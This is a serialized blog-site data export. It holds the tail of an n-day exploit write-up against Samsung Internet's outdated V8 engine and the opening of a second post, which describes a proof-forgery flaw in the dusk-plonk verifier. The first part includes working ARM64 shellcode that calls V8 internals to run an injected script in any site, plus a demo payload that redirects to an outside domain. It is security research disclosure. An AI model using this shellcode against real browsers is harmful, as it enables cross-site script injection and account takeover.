our payload, we call ",{"type":24,"tag":156,"props":143611,"children":143613},{"className":143612},[],[143614],{"type":30,"value":143615},"v8::String::NewFromUTF8",{"type":30,"value":143617},". This ",{"type":24,"tag":156,"props":143619,"children":143621},{"className":143620},[],[143622],{"type":30,"value":143623},"NewFromUTF8",{"type":30,"value":143625}," function takes four arguments: the ",{"type":24,"tag":156,"props":143627,"children":143629},{"className":143628},[],[143630],{"type":30,"value":143113},{"type":30,"value":143632},", the string bytes as ",{"type":24,"tag":156,"props":143634,"children":143636},{"className":143635},[],[143637],{"type":30,"value":6817},{"type":30,"value":143639},", an enum literal specifying the string type, and ",{"type":24,"tag":156,"props":143641,"children":143643},{"className":143642},[],[143644],{"type":30,"value":11613},{"type":30,"value":143646},", which is the size of the ",{"type":24,"tag":156,"props":143648,"children":143650},{"className":143649},[],[143651],{"type":30,"value":6817},{"type":30,"value":20265},{"type":24,"tag":33,"props":143654,"children":143655},{},[143656],{"type":30,"value":143657},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":920,"props":143659,"children":143661},{"code":143660,"language":141949,"meta":7,"className":141950,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[143662],{"type":24,"tag":156,"props":143663,"children":143664},{"__ignoreMap":7},[143665,143673,143681,143689,143697,143705,143713,143721,143729,143737,143745,143753,143761,143768,143776,143784,143792,143800,143807,143815,143822,143830,143838,143845,143852,143859,143866,143873,143880,143888,143896,143903,143911,143919,143926,143934,143942,143949,143956,143964,143972,143980,143987,143995,144003,144011,144019,144027,144035,144043,144051,144059,144067,144075,144082,144090,144098,144105,144113,144121,144129,144137,144144,144152,144159,144166,144174,144182,144190,144198,144207,144216,144224],{"type":24,"tag":930,"props":143666,"children":143667},{"class":932,"line":933},[143668],{"type":24,"tag":930,"props":143669,"children":143670},{},[143671],{"type":30,"value":143672},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":930,"props":143674,"children":143675},{"class":932,"line":984},[143676],{"type":24,"tag":930,"props":143677,"children":143678},{},[143679],{"type":30,"value":143680},"movz x1, #0xf7a0\n",{"type":24,"tag":930,"props":143682,"children":143683},{"class":932,"line":993},[143684],{"type":24,"tag":930,"props":143685,"children":143686},{},[143687],{"type":30,"value":143688},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":930,"props":143690,"children":143691},{"class":932,"line":1057},[143692],{"type":24,"tag":930,"props":143693,"children":143694},{},[143695],{"type":30,"value":143696},"add x9, x12, x1\n",{"type":24,"tag":930,"props":143698,"children":143699},{"class":932,"line":1066},[143700],{"type":24,"tag":930,"props":143701,"children":143702},{},[143703],{"type":30,"value":143704},"movz x1, #0x5ac8\n",{"type":24,"tag":930,"props":143706,"children":143707},{"class":932,"line":1075},[143708],{"type":24,"tag":930,"props":143709,"children":143710},{},[143711],{"type":30,"value":143712},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":930,"props":143714,"children":143715},{"class":932,"line":1122},[143716],{"type":24,"tag":930,"props":143717,"children":143718},{},[143719],{"type":30,"value":143720},"add x0, x12, x1\n",{"type":24,"tag":930,"props":143722,"children":143723},{"class":932,"line":1131},[143724],{"type":24,"tag":930,"props":143725,"children":143726},{},[143727],{"type":30,"value":143728},"blr x9\n",{"type":24,"tag":930,"props":143730,"children":143731},{"class":932,"line":1144},[143732],{"type":24,"tag":930,"props":143733,"children":143734},{},[143735],{"type":30,"value":143736},"// *x0 is isolate pointer\n",{"type":24,"tag":930,"props":143738,"children":143739},{"class":932,"line":1169},[143740],{"type":24,"tag":930,"props":143741,"children":143742},{},[143743],{"type":30,"value":143744},"// store isolate ptr to stack\n",{"type":24,"tag":930,"props":143746,"children":143747},{"class":932,"line":1191},[143748],{"type":24,"tag":930,"props":143749,"children":143750},{},[143751],{"type":30,"value":143752},"ldr x13, [x0]\n",{"type":24,"tag":930,"props":143754,"children":143755},{"class":932,"line":1223},[143756],{"type":24,"tag":930,"props":143757,"children":143758},{},[143759],{"type":30,"value":143760},"str x13, [sp, #-16]!\n",{"type":24,"tag":930,"props":143762,"children":143763},{"class":932,"line":1281},[143764],{"type":24,"tag":930,"props":143765,"children":143766},{"emptyLinePlaceholder":16},[143767],{"type":30,"value":2412},{"type":24,"tag":930,"props":143769,"children":143770},{"class":932,"line":1313},[143771],{"type":24,"tag":930,"props":143772,"children":143773},{},[143774],{"type":30,"value":143775},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":930,"props":143777,"children":143778},{"class":932,"line":1335},[143779],{"type":24,"tag":930,"props":143780,"children":143781},{},[143782],{"type":30,"value":143783},"movz x1, #0x1140\n",{"type":24,"tag":930,"props":143785,"children":143786},{"class":932,"line":1376},[143787],{"type":24,"tag":930,"props":143788,"children":143789},{},[143790],{"type":30,"value":143791},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":930,"props":143793,"children":143794},{"class":932,"line":1418},[143795],{"type":24,"tag":930,"props":143796,"children":143797},{},[143798],{"type":30,"value":143799},"sub x10, x12, x1\n",{"type":24,"tag":930,"props":143801,"children":143802},{"class":932,"line":1438},[143803],{"type":24,"tag":930,"props":143804,"children":143805},{"emptyLinePlaceholder":16},[143806],{"type":30,"value":2412},{"type":24,"tag":930,"props":143808,"children":143809},{"class":932,"line":1479},[143810],{"type":24,"tag":930,"props":143811,"children":143812},{},[143813],{"type":30,"value":143814},"// mmap a RW page for our xss payload\n",{"type":24,"tag":930,"props":143816,"children":143817},{"class":932,"line":1506},[143818],{"type":24,"tag":930,"props":143819,"children":143820},{},[143821],{"type":30,"value":142165},{"type":24,"tag":930,"props":143823,"children":143824},{"class":932,"line":1525},[143825],{"type":24,"tag":930,"props":143826,"children":143827},{},[143828],{"type":30,"value":143829},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":930,"props":143831,"children":143832},{"class":932,"line":1569},[143833],{"type":24,"tag":930,"props":143834,"children":143835},{},[143836],{"type":30,"value":143837},"mov x2, #3\n",{"type":24,"tag":930,"props":143839,"children":143840},{"class":932,"line":1592},[143841],{"type":24,"tag":930,"props":143842,"children":143843},{},[143844],{"type":30,"value":142188},{"type":24,"tag":930,"props":143846,"children":143847},{"class":932,"line":1610},[143848],{"type":24,"tag":930,"props":143849,"children":143850},{},[143851],{"type":30,"value":142196},{"type":24,"tag":930,"props":143853,"children":143854},{"class":932,"line":1628},[143855],{"type":24,"tag":930,"props":143856,"children":143857},{},[143858],{"type":30,"value":142204},{"type":24,"tag":930,"props":143860,"children":143861},{"class":932,"line":1637},[143862],{"type":24,"tag":930,"props":143863,"children":143864},{},[143865],{"type":30,"value":142212},{"type":24,"tag":930,"props":143867,"children":143868},{"class":932,"line":1646},[143869],{"type":24,"tag":930,"props":143870,"children":143871},{},[143872],{"type":30,"value":142127},{"type":24,"tag":930,"props":143874,"children":143875},{"class":932,"line":1673},[143876],{"type":24,"tag":930,"props":143877,"children":143878},{"emptyLinePlaceholder":16},[143879],{"type":30,"value":2412},{"type":24,"tag":930,"props":143881,"children":143882},{"class":932,"line":1692},[143883],{"type":24,"tag":930,"props":143884,"children":143885},{},[143886],{"type":30,"value":143887},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":930,"props":143889,"children":143890},{"class":932,"line":1730},[143891],{"type":24,"tag":930,"props":143892,"children":143893},{},[143894],{"type":30,"value":143895},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":930,"props":143897,"children":143898},{"class":932,"line":1762},[143899],{"type":24,"tag":930,"props":143900,"children":143901},{"emptyLinePlaceholder":16},[143902],{"type":30,"value":2412},{"type":24,"tag":930,"props":143904,"children":143905},{"class":932,"line":1775},[143906],{"type":24,"tag":930,"props":143907,"children":143908},{},[143909],{"type":30,"value":143910},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":930,"props":143912,"children":143913},{"class":932,"line":1825},[143914],{"type":24,"tag":930,"props":143915,"children":143916},{},[143917],{"type":30,"value":143918},"mov x11, x0\n",{"type":24,"tag":930,"props":143920,"children":143921},{"class":932,"line":1834},[143922],{"type":24,"tag":930,"props":143923,"children":143924},{"emptyLinePlaceholder":16},[143925],{"type":30,"value":2412},{"type":24,"tag":930,"props":143927,"children":143928},{"class":932,"line":1843},[143929],{"type":24,"tag":930,"props":143930,"children":143931},{},[143932],{"type":30,"value":143933},"// pop back isolate pointer\n",{"type":24,"tag":930,"props":143935,"children":143936},{"class":932,"line":1851},[143937],{"type":24,"tag":930,"props":143938,"children":143939},{},[143940],{"type":30,"value":143941},"ldr x13, [sp], #16\n",{"type":24,"tag":930,"props":143943,"children":143944},{"class":932,"line":1919},[143945],{"type":24,"tag":930,"props":143946,"children":143947},{"emptyLinePlaceholder":16},[143948],{"type":30,"value":2412},{"type":24,"tag":930,"props":143950,"children":143951},{"class":932,"line":1927},[143952],{"type":24,"tag":930,"props":143953,"children":143954},{},[143955],{"type":30,"value":142248},{"type":24,"tag":930,"props":143957,"children":143958},{"class":932,"line":1935},[143959],{"type":24,"tag":930,"props":143960,"children":143961},{},[143962],{"type":30,"value":143963},"// x13 = isolate *\n",{"type":24,"tag":930,"props":143965,"children":143966},{"class":932,"line":1943},[143967],{"type":24,"tag":930,"props":143968,"children":143969},{},[143970],{"type":30,"value":143971},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":930,"props":143973,"children":143974},{"class":932,"line":1955},[143975],{"type":24,"tag":930,"props":143976,"children":143977},{},[143978],{"type":30,"value":143979},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":930,"props":143981,"children":143982},{"class":932,"line":1975},[143983],{"type":24,"tag":930,"props":143984,"children":143985},{"emptyLinePlaceholder":16},[143986],{"type":30,"value":2412},{"type":24,"tag":930,"props":143988,"children":143989},{"class":932,"line":1995},[143990],{"type":24,"tag":930,"props":143991,"children":143992},{},[143993],{"type":30,"value":143994},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":930,"props":143996,"children":143997},{"class":932,"line":2061},[143998],{"type":24,"tag":930,"props":143999,"children":144000},{},[144001],{"type":30,"value":144002},"// arg0 = isolate *\n",{"type":24,"tag":930,"props":144004,"children":144005},{"class":932,"line":2085},[144006],{"type":24,"tag":930,"props":144007,"children":144008},{},[144009],{"type":30,"value":144010},"mov x0, x13\n",{"type":24,"tag":930,"props":144012,"children":144013},{"class":932,"line":2119},[144014],{"type":24,"tag":930,"props":144015,"children":144016},{},[144017],{"type":30,"value":144018},"// arg1 = char *c_str\n",{"type":24,"tag":930,"props":144020,"children":144021},{"class":932,"line":2135},[144022],{"type":24,"tag":930,"props":144023,"children":144024},{},[144025],{"type":30,"value":144026},"mov x1, x11\n",{"type":24,"tag":930,"props":144028,"children":144029},{"class":932,"line":2171},[144030],{"type":24,"tag":930,"props":144031,"children":144032},{},[144033],{"type":30,"value":144034},"// arg2 = type = kNormal\n",{"type":24,"tag":930,"props":144036,"children":144037},{"class":932,"line":2180},[144038],{"type":24,"tag":930,"props":144039,"children":144040},{},[144041],{"type":30,"value":144042},"mov x2, #0\n",{"type":24,"tag":930,"props":144044,"children":144045},{"class":932,"line":2220},[144046],{"type":24,"tag":930,"props":144047,"children":144048},{},[144049],{"type":30,"value":144050},"// arg4 = length\n",{"type":24,"tag":930,"props":144052,"children":144053},{"class":932,"line":2246},[144054],{"type":24,"tag":930,"props":144055,"children":144056},{},[144057],{"type":30,"value":144058},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":930,"props":144060,"children":144061},{"class":932,"line":2269},[144062],{"type":24,"tag":930,"props":144063,"children":144064},{},[144065],{"type":30,"value":144066},"// call NewFromUTF8\n",{"type":24,"tag":930,"props":144068,"children":144069},{"class":932,"line":2278},[144070],{"type":24,"tag":930,"props":144071,"children":144072},{},[144073],{"type":30,"value":144074},"blr x10\n",{"type":24,"tag":930,"props":144076,"children":144077},{"class":932,"line":2306},[144078],{"type":24,"tag":930,"props":144079,"children":144080},{"emptyLinePlaceholder":16},[144081],{"type":30,"value":2412},{"type":24,"tag":930,"props":144083,"children":144084},{"class":932,"line":2337},[144085],{"type":24,"tag":930,"props":144086,"children":144087},{},[144088],{"type":30,"value":144089},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":930,"props":144091,"children":144092},{"class":932,"line":2346},[144093],{"type":24,"tag":930,"props":144094,"children":144095},{},[144096],{"type":30,"value":144097},"mov x14, x0\n",{"type":24,"tag":930,"props":144099,"children":144100},{"class":932,"line":2355},[144101],{"type":24,"tag":930,"props":144102,"children":144103},{"emptyLinePlaceholder":16},[144104],{"type":30,"value":2412},{"type":24,"tag":930,"props":144106,"children":144107},{"class":932,"line":2398},[144108],{"type":24,"tag":930,"props":144109,"children":144110},{},[144111],{"type":30,"value":144112},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":930,"props":144114,"children":144115},{"class":932,"line":2406},[144116],{"type":24,"tag":930,"props":144117,"children":144118},{},[144119],{"type":30,"value":144120},"movz x1, #0xe44c\n",{"type":24,"tag":930,"props":144122,"children":144123},{"class":932,"line":2415},[144124],{"type":24,"tag":930,"props":144125,"children":144126},{},[144127],{"type":30,"value":144128},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":930,"props":144130,"children":144131},{"class":932,"line":2440},[144132],{"type":24,"tag":930,"props":144133,"children":144134},{},[144135],{"type":30,"value":144136},"sub x9, x12, x1\n",{"type":24,"tag":930,"props":144138,"children":144139},{"class":932,"line":2457},[144140],{"type":24,"tag":930,"props":144141,"children":144142},{"emptyLinePlaceholder":16},[144143],{"type":30,"value":2412},{"type":24,"tag":930,"props":144145,"children":144146},{"class":932,"line":2465},[144147],{"type":24,"tag":930,"props":144148,"children":144149},{},[144150],{"type":30,"value":144151},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":930,"props":144153,"children":144154},{"class":932,"line":2473},[144155],{"type":24,"tag":930,"props":144156,"children":144157},{},[144158],{"type":30,"value":144002},{"type":24,"tag":930,"props":144160,"children":144161},{"class":932,"line":2492},[144162],{"type":24,"tag":930,"props":144163,"children":144164},{},[144165],{"type":30,"value":144010},{"type":24,"tag":930,"props":144167,"children":144168},{"class":932,"line":2506},[144169],{"type":24,"tag":930,"props":144170,"children":144171},{},[144172],{"type":30,"value":144173},"// arg1 = String *source\n",{"type":24,"tag":930,"props":144175,"children":144176},{"class":932,"line":2514},[144177],{"type":24,"tag":930,"props":144178,"children":144179},{},[144180],{"type":30,"value":144181},"mov x1, x14\n",{"type":24,"tag":930,"props":144183,"children":144184},{"class":932,"line":2522},[144185],{"type":24,"tag":930,"props":144186,"children":144187},{},[144188],{"type":30,"value":144189},"// arg2 = mode = kDefault\n",{"type":24,"tag":930,"props":144191,"children":144193},{"class":932,"line":144192},69,[144194],{"type":24,"tag":930,"props":144195,"children":144196},{},[144197],{"type":30,"value":144042},{"type":24,"tag":930,"props":144199,"children":144201},{"class":932,"line":144200},70,[144202],{"type":24,"tag":930,"props":144203,"children":144204},{},[144205],{"type":30,"value":144206},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":930,"props":144208,"children":144210},{"class":932,"line":144209},71,[144211],{"type":24,"tag":930,"props":144212,"children":144213},{},[144214],{"type":30,"value":144215},"mov x3, #0\n",{"type":24,"tag":930,"props":144217,"children":144219},{"class":932,"line":144218},72,[144220],{"type":24,"tag":930,"props":144221,"children":144222},{"emptyLinePlaceholder":16},[144223],{"type":30,"value":2412},{"type":24,"tag":930,"props":144225,"children":144227},{"class":932,"line":144226},73,[144228],{"type":24,"tag":930,"props":144229,"children":144230},{},[144231],{"type":30,"value":143728},{"type":24,"tag":151,"props":144233,"children":144235},{"id":144234},"uxss-demo",[144236],{"type":30,"value":144237},"UXSS Demo",{"type":24,"tag":33,"props":144239,"children":144240},{},[144241,144243,144249],{"type":30,"value":144242},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":156,"props":144244,"children":144246},{"className":144245},[],[144247],{"type":30,"value":144248},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":30,"value":436},{"type":24,"tag":134286,"props":144251,"children":144254},{"className":144252,"controls":16},[144253],"blog-video-responsive",[144255,144257,144261],{"type":30,"value":144256},"\n  ",{"type":24,"tag":143492,"props":144258,"children":144260},{"src":144259,"type":134284},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":30,"value":144262},"\n  Your browser does not support the video tag.\n",{"type":24,"tag":68,"props":144264,"children":144265},{"id":5876},[144266],{"type":30,"value":5879},{"type":24,"tag":33,"props":144268,"children":144269},{},[144270],{"type":30,"value":144271},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":33,"props":144273,"children":144274},{},[144275],{"type":30,"value":144276},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":5957,"props":144278,"children":144279},{},[144280],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":144282},[144283,144287,144290,144300],{"id":27,"depth":984,"text":31,"children":144284},[144285,144286],{"id":134420,"depth":993,"text":134423},{"id":134503,"depth":993,"text":134506},{"id":134536,"depth":984,"text":134539,"children":144288},[144289],{"id":134677,"depth":993,"text":134531},{"id":134821,"depth":984,"text":134824,"children":144291},[144292,144293,144294,144295,144296,144297,144298,144299],{"id":134827,"depth":993,"text":134830},{"id":135284,"depth":993,"text":135287},{"id":135467,"depth":993,"text":135470},{"id":135578,"depth":993,"text":135581},{"id":135855,"depth":993,"text":135858},{"id":138565,"depth":993,"text":138568},{"id":141846,"depth":993,"text":141849},{"id":144234,"depth":993,"text":144237},{"id":5876,"depth":984,"text":5879},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":144305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":144306,"description":144307,"date":144308,"author":144309,"image":144310,"isFeatured":16,"onBlogPage":16,"tags":144312,"body":144315,"_type":5983,"_id":149579,"_source":5985,"_file":149580,"_stem":149581,"_extension":5988},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[110266,110267],{"src":144311,"width":14,"height":15},"/posts/dusk-commitment-issues/title.png",[144313,144314],"dusk","plonk",{"type":21,"children":144316,"toc":149559},[144317,144323,144364,144376,144382,144396,144401,144407,144698,144702,144974,145204,145210,145895,145899,146394,146402,146408,146427,146432,146438,146663,146702,146713,146719,146730,147438,147443,147446,147452,147505,147540,147572,147577,147581,147584,147590,147601,147614,147645,147712,147720,147742,147755,148182,148205,148210,148213,148218,148245,148341,148352,148399,148437,148448,148786,148803,148811,148814,148820,148825,148859,148867,148948,148951,148957,148971,148989,148994,149034,149042,149063,149066,149072,149077,149142,149156,149159,149165,149205,149216,149221,149226,149232,149246,149327,149348,149375,149378,149384,149398,149403,149408,149413,149548,149554],{"type":24,"tag":25,"props":144318,"children":144320},{"id":144319},"commitment-issues-unverified-evaluations-in-dusks-plonk",[144321],{"type":30,"value":144322},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":33,"props":144324,"children":144325},{},[144326,144328,144335,144337,144344,144346,144353,144355,144362],{"type":30,"value":144327},"We found a critical soundness vulnerability in ",{"type":24,"tag":37,"props":144329,"children":144332},{"href":144330,"rel":144331},"https://github.com/dusk-network/plonk/",[41],[144333],{"type":30,"value":144334},"dusk-plonk",{"type":30,"value":144336},", the PLONK implementation powering ",{"type":24,"tag":37,"props":144338,"children":144341},{"href":144339,"rel":144340},"https://dusk.network/",[41],[144342],{"type":30,"value":144343},"Dusk Network's",{"type":30,"value":144345}," ~$60M ",{"type":24,"tag":37,"props":144347,"children":144350},{"href":144348,"rel":144349},"https://www.coingecko.com/en/coins/dusk",[41],[144351],{"type":30,"value":144352},"market cap",{"type":30,"value":144354},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":37,"props":144356,"children":144359},{"href":144357,"rel":144358},"https://github.com/dusk-network/rusk",[41],[144360],{"type":30,"value":144361},"Rusk",{"type":30,"value":144363}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":33,"props":144365,"children":144366},{},[144367,144369,144374],{"type":30,"value":144368},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":275,"props":144370,"children":144371},{},[144372],{"type":30,"value":144373},"without ever validating them against the trusted commitments in the verifier key.",{"type":30,"value":144375}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":68,"props":144377,"children":144379},{"id":144378},"how-plonk-works-briefly",[144380],{"type":30,"value":144381},"How PLONK works (briefly)",{"type":24,"tag":33,"props":144383,"children":144384},{},[144385,144387,144394],{"type":30,"value":144386},"For a rigorous treatment see the ",{"type":24,"tag":37,"props":144388,"children":144391},{"href":144389,"rel":144390},"https://eprint.iacr.org/2019/953",[41],[144392],{"type":30,"value":144393},"original paper",{"type":30,"value":144395},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":33,"props":144397,"children":144398},{},[144399],{"type":30,"value":144400},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":151,"props":144402,"children":144404},{"id":144403},"arithmetic-circuits-and-constraints",[144405],{"type":30,"value":144406},"Arithmetic circuits and constraints",{"type":24,"tag":33,"props":144408,"children":144409},{},[144410,144412,144461,144463,144612,144614,144697],{"type":30,"value":144411},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":156,"props":144413,"children":144415},{"className":144414},[7098,7099],[144416],{"type":24,"tag":930,"props":144417,"children":144419},{"className":144418},[7104],[144420],{"type":24,"tag":930,"props":144421,"children":144423},{"className":144422,"ariaHidden":7110},[7109],[144424],{"type":24,"tag":930,"props":144425,"children":144427},{"className":144426},[7115],[144428,144432,144437,144442,144447,144451,144456],{"type":24,"tag":930,"props":144429,"children":144431},{"className":144430,"style":7227},[7120],[],{"type":24,"tag":930,"props":144433,"children":144435},{"className":144434},[24818],[144436],{"type":30,"value":1010},{"type":24,"tag":930,"props":144438,"children":144440},{"className":144439},[7126,24690],[144441],{"type":30,"value":22378},{"type":24,"tag":930,"props":144443,"children":144445},{"className":144444},[7238],[144446],{"type":30,"value":7241},{"type":24,"tag":930,"props":144448,"children":144450},{"className":144449,"style":7245},[7206],[],{"type":24,"tag":930,"props":144452,"children":144454},{"className":144453,"style":96598},[7126,24690],[144455],{"type":30,"value":6235},{"type":24,"tag":930,"props":144457,"children":144459},{"className":144458},[24840],[144460],{"type":30,"value":6249},{"type":30,"value":144462}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":156,"props":144464,"children":144466},{"className":144465},[7098,7099],[144467],{"type":24,"tag":930,"props":144468,"children":144470},{"className":144469},[7104],[144471],{"type":24,"tag":930,"props":144472,"children":144474},{"className":144473,"ariaHidden":7110},[7109],[144475,144537,144599],{"type":24,"tag":930,"props":144476,"children":144478},{"className":144477},[7115],[144479,144483,144524,144528,144533],{"type":24,"tag":930,"props":144480,"children":144482},{"className":144481,"style":125812},[7120],[],{"type":24,"tag":930,"props":144484,"children":144486},{"className":144485},[7126],[144487,144492],{"type":24,"tag":930,"props":144488,"children":144490},{"className":144489,"style":96598},[7126,24690],[144491],{"type":30,"value":6235},{"type":24,"tag":930,"props":144493,"children":144495},{"className":144494},[7142],[144496],{"type":24,"tag":930,"props":144497,"children":144499},{"className":144498},[7147],[144500],{"type":24,"tag":930,"props":144501,"children":144503},{"className":144502},[7152],[144504],{"type":24,"tag":930,"props":144505,"children":144507},{"className":144506,"style":7121},[7157],[144508],{"type":24,"tag":930,"props":144509,"children":144510},{"style":7161},[144511,144515],{"type":24,"tag":930,"props":144512,"children":144514},{"className":144513,"style":7167},[7166],[],{"type":24,"tag":930,"props":144516,"children":144518},{"className":144517},[7172,7173,7174,7175],[144519],{"type":24,"tag":930,"props":144520,"children":144522},{"className":144521},[7126,7175],[144523],{"type":30,"value":6244},{"type":24,"tag":930,"props":144525,"children":144527},{"className":144526,"style":7304},[7206],[],{"type":24,"tag":930,"props":144529,"children":144531},{"className":144530},[7309],[144532],{"type":30,"value":1161},{"type":24,"tag":930,"props":144534,"children":144536},{"className":144535,"style":7304},[7206],[],{"type":24,"tag":930,"props":144538,"children":144540},{"className":144539},[7115],[144541,144545,144586,144590,144595],{"type":24,"tag":930,"props":144542,"children":144544},{"className":144543,"style":125687},[7120],[],{"type":24,"tag":930,"props":144546,"children":144548},{"className":144547},[7126],[144549,144554],{"type":24,"tag":930,"props":144550,"children":144552},{"className":144551},[7126,24690],[144553],{"type":30,"value":22378},{"type":24,"tag":930,"props":144555,"children":144557},{"className":144556},[7142],[144558],{"type":24,"tag":930,"props":144559,"children":144561},{"className":144560},[7147],[144562],{"type":24,"tag":930,"props":144563,"children":144565},{"className":144564},[7152],[144566],{"type":24,"tag":930,"props":144567,"children":144569},{"className":144568,"style":7121},[7157],[144570],{"type":24,"tag":930,"props":144571,"children":144572},{"style":7161},[144573,144577],{"type":24,"tag":930,"props":144574,"children":144576},{"className":144575,"style":7167},[7166],[],{"type":24,"tag":930,"props":144578,"children":144580},{"className":144579},[7172,7173,7174,7175],[144581],{"type":24,"tag":930,"props":144582,"children":144584},{"className":144583},[7126,7175],[144585],{"type":30,"value":20397},{"type":24,"tag":930,"props":144587,"children":144589},{"className":144588,"style":7207},[7206],[],{"type":24,"tag":930,"props":144591,"children":144593},{"className":144592},[7212],[144594],{"type":30,"value":1400},{"type":24,"tag":930,"props":144596,"children":144598},{"className":144597,"style":7207},[7206],[],{"type":24,"tag":930,"props":144600,"children":144602},{"className":144601},[7115],[144603,144607],{"type":24,"tag":930,"props":144604,"children":144606},{"className":144605,"style":97143},[7120],[],{"type":24,"tag":930,"props":144608,"children":144610},{"className":144609},[7126],[144611],{"type":30,"value":57760},{"type":30,"value":144613},", here in ",{"type":24,"tag":156,"props":144615,"children":144617},{"className":144616},[7098,7099],[144618],{"type":24,"tag":930,"props":144619,"children":144621},{"className":144620},[7104],[144622],{"type":24,"tag":930,"props":144623,"children":144625},{"className":144624,"ariaHidden":7110},[7109],[144626],{"type":24,"tag":930,"props":144627,"children":144629},{"className":144628},[7115],[144630,144635],{"type":24,"tag":930,"props":144631,"children":144634},{"className":144632,"style":144633},[7120],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":144636,"children":144638},{"className":144637},[7126],[144639,144644],{"type":24,"tag":930,"props":144640,"children":144642},{"className":144641},[7126,124250],[144643],{"type":30,"value":124253},{"type":24,"tag":930,"props":144645,"children":144647},{"className":144646},[7142],[144648],{"type":24,"tag":930,"props":144649,"children":144651},{"className":144650},[7147,24743],[144652,144686],{"type":24,"tag":930,"props":144653,"children":144655},{"className":144654},[7152],[144656,144681],{"type":24,"tag":930,"props":144657,"children":144659},{"className":144658,"style":96164},[7157],[144660],{"type":24,"tag":930,"props":144661,"children":144662},{"style":96168},[144663,144667],{"type":24,"tag":930,"props":144664,"children":144666},{"className":144665,"style":7167},[7166],[],{"type":24,"tag":930,"props":144668,"children":144670},{"className":144669},[7172,7173,7174,7175],[144671],{"type":24,"tag":930,"props":144672,"children":144674},{"className":144673},[7126,7175],[144675],{"type":24,"tag":930,"props":144676,"ch